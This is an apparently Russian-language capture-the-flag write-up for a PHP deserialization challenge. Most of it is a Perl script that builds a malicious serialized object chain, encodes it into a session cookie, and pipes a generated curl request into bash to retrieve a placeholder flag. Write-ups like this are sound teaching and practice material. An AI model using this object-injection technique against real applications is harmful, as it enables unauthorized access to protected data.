добавил var_dump в своей копии

$ cat demo.php | grep -B 3 var_dump
// Pull request are welcome.

$name = $user->name; // Getting the current user name
var_dump($name);

$ grep -rn flag all.php
10:$flag = 'FLAG-XXXXXXXXXXXX'; // Place your precious flag here !

сам скрипт

#!/usr/bin/perl

use strict;
use warnings;
use MIME::Base64;

my $str = '
O:7:"Session":4:{
        s:2:"id";s:13:"587e46015cc88";
        s:5:"debug";O:5:"Debug":1:{s:21:"QQQDebugQQQdebugStateName";s:4:"flag";}
        s:4:"user";O:4:"User":5:{
                s:10:"QQQUserQQQname";s:4:"zzzz";
                s:8:"QQQUserQQQid";s:2:"qq";
                s:24:"QQQGenericMapperQQQtempValue";s:8:"showNice";
                s:18:"QQQGenericMapperQQQmap";a:3:{
                                    s:2:"id";a:2:{s:4:"type";s:8:"function";s:6:"target";s:2:"id";}
                                    s:4:"name";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";}
                                    s:13:"getDebugState";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";}
                                 }
                s:25:"QQQGenericMapperQQQrealObject";r:3;

                   }
        s:4:"data";a:0:{}
      
        }
';

$str =~s/[\s\n]//g;
$str =~s/QQQ/\0/g;
$str = encode_base64($str,'');
$str =~s/=/%3D/g;
$str =~s/\+/%2B/g;
unless($str=~/[a-zA-Z0-9\%]+/)
{ print "hmmm\n$str\n";exit;}

#print "curl -s -k 'http://ringzer0team.com:10001/demo.php' -H 'Cookie: rop_session=$str' -H 'Authorization: Basic Y3RmOmN0ZjIwMTU='\n";
print "curl -s -k 'http://my-site-name.ru/demo.php' -H 'Cookie: rop_session=$str'\n";

вызов

~/quest$ perl rop2.pl | /bin/bash | grep FLAG
string(17) "FLAG-XXXXXXXXXXXX"